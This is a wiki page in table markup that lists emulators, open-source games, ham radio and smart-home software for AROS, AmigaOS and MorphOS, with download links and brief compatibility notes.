|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;HAM radio, amateur radio, packet radio,  [], [], [], [https://cemaxecuter.com/ Dragon OS], [https://github.com/km4ack/73Linux with 73 link update], [https://www.youtube.com/watch?v=YAL5KNePRSg video for], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/punktniklas/NiKom NiKom], [https://www.amigarealm.com/amiga/amicomms/comm4.htm Comm4], [https://www.amigarealm.com/archives/comms/aarug/ TNC Terminal Node Controller with packets over serial connections on Yaesu or Woxum handheld], [https://aminet.net/comm/misc AmiCom], [ with 7Plus file encoder/decoder], [ mksstv], [ RTTYam], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;modern smart-home network like Home Assistant Automation Yellow, Green, Mosquitto, EMQX,  
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/evil4dmin/ami2ha HA], [https://github.com/sidick/midge mtqq.lib], [https://aminet.net/package/comm/tcp/AmiHomeassist-0.7 AmiHomeassist], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Teaching classroom learning training [https://github.com/moodle/moodle moodle], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.


==Games &amp; Emulation==

Some emulators/games require OpenGL to function and to adjust ahi prefs channels, frequency and unit0 and unit1 and 
[http://aros.sourceforge.net/documentation/users/shell/changetaskpri.php changetaskpri -1]

Rom patching  https://www.marcrobledo.com/RomPatcher.js/ https://www.romhacking.net/patch/ (ips, ups, bps, etc) and this other site supports the latter formats https://hack64.net/tools/patcher.php 

Free public domain roms for use with emulators can be found [http://www.pdroms.de/ here] as most of the rest are covered by copyright rules. If you like to read about old games see [http://retrogamingtimes.com/ here] and [http://www.armchairarcade.com/neo/ here] and a [http://www.vintagecomputing.com/ blog] about old computers. Possibly some of the [http://www.answers.com/topic/list-of-best-selling-computer-and-video-games best selling] of all time. [http://en.wikipedia.org/wiki/List_of_computer_system_emulators Wiki] with emulated systems list.

[https://archive.gamehistory.org/ Archive of VGHF], [https://library.gamehistory.org/ Video Game History Foundation Library search]


{|  class=&quot;wikitable sortable&quot; 
|- 
!width:10%;|Games [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Emulation]
!width:10%;|AROS(x86)
!width:10%;|AmigaOS3(68k)
!width:10%;|AmigaOS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Games Emulation Amstrad CPC 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], [ Caprice32 (OpenGL &amp; pure SDL)], [ Arnold], [https://retroshowcase.gr/cpcbox-master/], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://os4depot.net/index.php?function=browse&amp;cat=emulation/computer]
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=2], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Apple2 and 2GS
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Arcade 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Mame], [ SI Emu (ABIv0 only)], 
|&lt;!--Amiga OS--&gt;Mame, 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem xmame], amiarcadia, 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=2 Mame], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 2600 [], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Stella], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 5200 [https://github.com/wavemotion-dave/A5200DS A5200DS], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 7800
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 400 800 130XL [https://github.com/wavemotion-dave/A8DS A8DS], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Atari800], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari Lynx
|&lt;!--AROS--&gt;[http://myfreefilehosting.com/f/6366e11bdf_1.93MB Handy (ABIv0 only)], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari Jaguar
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Bandai Wonderswan 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation BBC Micro and Acorn Electron [http://beehttps://bem-unix.bbcmicro.com/download.html BeebEm], [http://b-em.bbcmicro.com/ B-Em], [http://elkulator.acornelectron.co.uk/ Elkulator], [http://electrem.emuunlim.com/ ElectrEm], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Dragon 32 and Tandy CoCo [http://www.6809.org.uk/xroar/ xroar], [], 
|&lt;!--AROS--&gt;[], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Commodore C16 Plus4
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Commodore C64
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Vice (ABIv0 only)], [], 
|&lt;!--Amiga OS--&gt;Frodo, 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem viceplus], 
|&lt;!--MorphOS--&gt;Vice, 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Commodore Amiga
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Janus UAE], Emumiga, 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://os4depot.net/index.php?function=browse&amp;cat=emulation/computer UAE], 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=2 UAE], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Japanese MSX MSX2 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Mattel Intelivision
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Mattel Colecovision and Adam
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Milton Bradley (MB) Vectrex [ Vectrex OpenGL], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation PICO8 Pico-8 fantasy video game console [https://github.com/egordorichev/pemsa-sdl/ pemsa-sdl], [https://github.com/jtothebell/fake-08 fake-08], [https://github.com/Epicpkmn11/fake-08/tree/wip fake-08 fork], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo Gameboy
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem vba no sound], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem vba]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo NES
|&lt;!--AROS--&gt;[ EmiNES], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Fceu], [https://github.com/takahirox/nes-js?tab=readme-ov-file nes-js], [https://github.com/bfirsh/jsnes jsnes], [https://github.com/angelo-wf/NesJs NesJs], 
|&lt;!--Amiga OS--&gt;AmiNES, [http://www.dridus.com/~nyef/darcnes/ darcNES], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem amines]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo SNES
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Zsnes], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem warpsnes]
|&lt;!--MorphOS--&gt;[http://fabportnawak.free.fr/snes/ Snes9x], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo N64 
*HLE and plugins [ mupen64], [https://github.com/ares-emulator/ares ares], [https://github.com/N64Recomp/N64Recomp N64Recomp], [https://github.com/rt64/rt64 rt64], [https://github.com/simple64/simple64 Simple64], 
*LLE [], 
|&lt;!--AROS--&gt;[http://code.google.com/p/mupen64plus/ Mupen64+],
|&lt;!--Amiga OS--&gt;[http://code.google.com/p/mupen64plus/ Mupen64+], [http://aminet.net/package/misc/emu/tr-981125_src TR64], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Nintendo Gamecube Wii]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Nintendo Wii U]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[https://github.com/yuzu-emu Nintendo Switch]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation NEC PC Engine 
|&lt;!--AROS--&gt;[], [], [https://github.com/yhzmr442/jspce js-pce], 
|[http://www.hugo.fr.fm/ Hugo], [http://mednafen.sourceforge.net/ Mednafen], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem tgemu]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Master System (SMS)
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Dega], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem sms], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem osmose]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Genesis/Megadrive
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem gp no sound], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem DGen], 
|&lt;!--Amiga OS--&gt;[http://code.google.com/p/genplus-gx/ Genplus], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem genesisplus]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Saturn 
*HLE [https://mednafen.github.io/ mednafen], [http://yabause.org/ yabause], [], 
*LLE [], [], 
|&lt;!--AROS--&gt;?
|&lt;!--Amiga OS--&gt;[http://yabause.org/ Yabause], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Dreamcast 
*HLE [https://github.com/flyinghead/flycast  flycast], [https://code.google.com/archive/p/nulldc/downloads NullDC], 
*LLE [], [], 
|&lt;!--AROS--&gt;?
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sinclair ZX80 and ZX81 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sinclair Spectrum 
|[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Fuse (crackly sound)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer SimCoupe], [ FBZX slow], [https://jsspeccy.zxdemo.org/ jsspeccy], [http://torinak.com/qaop/games qaop], 
|&lt;!--Amiga OS--&gt;[http://www.lasernet.plus.com/ Asp], [http://www.zophar.net/sinclair.html Speculator], [http://www.worldofspectrum.org/x128/index.html X128], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/computer]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sinclair QL
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], [], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/misc/emu/QDOS4amiga1 QDOS4amiga]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation SNK NeoGeo Pocket
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem gngeo], NeoPop, 
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sony PlayStation
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem FPSE], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem FPSE]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Sony PS2]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Sony PS3]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[https://vita3k.org/ Sony Vita]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[https://github.com/shadps4-emu/shadPS4 PS4]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation [http://en.wikipedia.org/wiki/Tangerine_Computer_Systems Tangerine] Oric and Atmos 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Oricutron]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem Oricutron]
|&lt;!--MorphOS--&gt;[http://aminet.net/package/misc/emu/oricutron Oricutron]
|-
|&lt;!--Sub Menu--&gt;Games Emulation TI 99/4 99/4A [https://github.com/wavemotion-dave/DS994a DS994a], [], [https://js99er.net/#/ js99er], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/misc/emu/TI4Amiga TI4Amiga], [http://aminet.net/package/misc/emu/TI4Amiga_src TI4Amiga src in c], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation HP 38G 40GS 48 49G/50G Graphing Calculators
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation TI 58 83 84 85 86 - 89 92 Graphing Calculators
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

{|  class=&quot;wikitable sortable&quot; 
|- 
!width:10%;|Games [https://www.rockpapershotgun.com/ General]
!width:10%;|AROS(x86)
!width:10%;|AmigaOS3(68k)
!width:10%;|AmigaOS4(PPC)
!width:10%;|MorphOS(PPC)
|- style=&quot;background:lightgrey;{{text default color}}; text-align:center; font-weight:bold;&quot;
| Games [https://www.trackawesomelist.com/michelpereira/awesome-open-source-games/ Open Source and others] || AROS || Amiga OS || Amiga OS4 || Morphos 
|-
|&lt;!--Sub Menu--&gt;Games Action like [https://github.com/opentomb/OpenTomb opentomb], [https://github.com/LostArtefacts/TRX TRX formerly Tomb1Main], [https://github.com/TombEngine TombEngine], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/action Thrust], [https://github.com/fragglet/sdl-sopwith sdl sopwith], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/action], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/action BOH], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/BSzili/OpenLara/tree/amiga/src source of openlara SDL2], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Adventure like [http://dotg.sourceforge.net/ DMJ], [https://github.com/kromenak/gengine Gabriel Knight 3], [http://www.sarien.net/ Sierra Sarien], [https://github.com/klembot/twinejs twine js], [https://github.com/QSPFoundation/qspgui Quest Soft Player QSP], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/adventure dmagnetic], [https://archives.arosworld.org/?function=browse&amp;cat=emulation/misc ScummVM], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/roleplaying frotz infocom], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Board like [https://github.com/aperture-software/colditz-escape escape from colditz], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/board], [http://amigan.1emu.net/releases Africa]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Cards 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/card], [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1443&amp;rowstart=180&amp;pid=12934#post_12934 Balatro], 
|&lt;!--AmigaOS--&gt;[http://home.arcor.de/amigasolitaire/e/welcome.html Reko], [https://github.com/samskivert/beschei-en beschei Src], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Misc [https://github.com/michelpereira/awesome-open-source-games Awesome open], [https://github.com/bobeff/open-source-games General Open Source], [https://github.com/SAT-R/sa2 Sonic Advance 2], [https://github.com/velorek1/cwordle Wordle type], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/misc], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games FPS like [https://aminet.net/package/game/shoot/D1X_Rebirth_AGA Descent D1X src], [https://github.com/DescentDevelopers/Descent3 Descent 3], [https://github.com/Fewnity/Counter-Strike-Nintendo-DS Counter-Strike-Nintendo-DS], [https://github.com/Aleph-One-Marathon/alephone Bungie Marathon 1994], [https://zdoom.org/downloads UzDoom opengl 3.3], [https://github.com/ZDoom/gzdoom gzdoom opengl 3+], [https://zdoom.org/downloads LZDoom opengl 2.1], 
|&lt;!--AROS--&gt;Doom, Quake, [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Quake 3 Arena (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Cube (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Assault Cube (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Cube 2 Sauerbraten (OpenGL)], [http://fodquake.net/test/ FodQuake QuakeWorld], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Duke Nukem 3D], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Darkplaces Nexuiz Xonotic], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Doom 3 SDL (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Hexenworld and Hexen 2], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Aliens vs Predator Gold 2000 avp (openGL)], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Odamex (openGL doom)], [https://archives.arosworld.org/?function=showfile&amp;file=game/fps/ zgloom], [], [https://archives.arosworld.org/?function=showfile&amp;file=game/fps/ ab3dhd], [], 
|&lt;!--Amiga OS--&gt;Doom, Quake, AB3D, Fears, Breathless, Gloom, 
|&lt;!--AmigaOS4--&gt;Doom, Quake, 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12 Doom], Quake, Quake 3 Arena, [https://github.com/OpenXRay/xray-16 S.T.A.L.K.E.R Xray]
|-
|&lt;!--Sub Menu--&gt;Games MMORG like 
|&lt;!--AROS--&gt;[ Eternal Lands (OpenGL)],
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Platform like 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/platform], [ Maze of Galious], [ Gish]*(openGL), [ Mega Mario], [https://archives.arosworld.org/?function=showfile&amp;file=game/platform/ thextech SMBX], [http://www.gianas-return.de/ Giana's Return], [http://www.sqrxz.de/ Sqrxz], [www.sqrxz2.de/ Sqrxz 2], [http://www.sqrxz.de/sqrxz-3/ Sqrxz 3], [http://www.sqrxz.de/sqrxz-4/ Sqrxz 4], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/platform Cave Story], [https://bszili.morphos.me/ Frogatto], [https://bszili.morphos.me/ OpenJazz], [https://archives.arosworld.org/?function=showfile&amp;file=game/platform/ pekkakana2], [ Aquaria], [https://archives.arosworld.org/?function=showfile&amp;file=game/platform/ sonic CD], [], 
|&lt;!--Amiga OS--&gt;[ Giana Sisters], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Puzzle [https://github.com/mariopartyrd/marioparty4/tree/port Party], [https://github.com/mdodis/OpenSolomonsKey OpenSolomonsKey], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/puzzle], [ Cubosphere (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/puzzle Candy Crisis], [http://bszili.morphos.me/ TailTale], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Racing [ Trigger Rally], [ VDrift], [http://www.ultimatestunts.nl/index.php?page=2&amp;lang=en Ultimate Stunts], [http://maniadrive.raydium.org/ Mania Drive], [https://github.com/plowteam/donut Simpsons Hit and Run], [], 
|&lt;!--AROS--&gt;[ Super Tux Kart (OpenGL)], [http://www.dusabledanslherbe.eu/AROSPage/F1Spirit.30.html F1 Spirit (OpenGL)], [http://bszili.morphos.me/index.html MultiRacer], [https://bszili.morphos.me/ Speed Dreams], [https://archives.arosworld.org/?function=showfile&amp;file=game/driving/dethrace-0.10.1.x86_64-aros-v11.zip Carmageddon dethrace 64bit], [], 
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;[http://bszili.morphos.me/index.html Speed Dreams], 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12], [http://bszili.morphos.me/index.html TORCS], 
|-
|&lt;!--Sub Menu--&gt;Games 1st first person DRPG [https://wiki.rpg.net/index.php/Open_Game_Systems Misc], [https://github.com/OpenEnroth/OpenEnroth OpenEnroth MM], []
|&lt;!--AROS--&gt;[https://github.com/BSzili/aros-stuff Arx Libertatis], [http://www.playfuljs.com/a-first-person-engine-in-265-lines/ js raycaster], [https://github.com/Dorthu/es6-crpg webgl], [https://github.com/sonountaleban/AmiShockolate System Shock], [], [], 
|&lt;!--AmigaOS--&gt;Phantasie, Faery Tale, Dungeon Master, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games 3rd third person action CRPG  [https://sourceforge.net/projects/sumwars/ Summoning Wars], [https://www.solarus-games.org/ Solarus], [https://wiki.rpg.net/index.php/Open_Game_Systems Misc], [https://github.com/alexbatalov/fallout1-ce fallout ce], [https://github.com/rwengine/openrw gta3], [https://github.com/gta-reversed/gta-reversed gta3 sa], [https://github.com/mrxenginner/reVC gta3 vc revc], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ fheroes2 homm2], [https://archives.arosworld.org/?function=showfile&amp;file=game/roleplaying/ breakhack], [https://archives.arosworld.org/?function=showfile&amp;file=game/roleplaying/ devilutionx diablo 1 hellfire], [https://archives.arosworld.org/?function=showfile&amp;file=game/roleplaying/ fallout 1], [https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ stratagus], [https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ hostile-takeover], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games isometric RPG [https://sourceforge.net/projects/sumwars/ Summoning Wars], [https://www.solarus-games.org/ Solarus], [https://wiki.rpg.net/index.php/Open_Game_Systems Misc], [https://github.com/topics/dungeon?l=javascript Dungeon], [], [https://github.com/clintbellanger/heroine-dusk JS Dusk], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/roleplaying nethack], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/roleplaying GemRB], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games card based RPG [https://github.com/open-duelyst/duelyst Duelyst], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games turn based tactics RPG [], [], [], [], [], [], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/strategy UFO AI], [http://play.freeciv.org/ FreeCiv], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
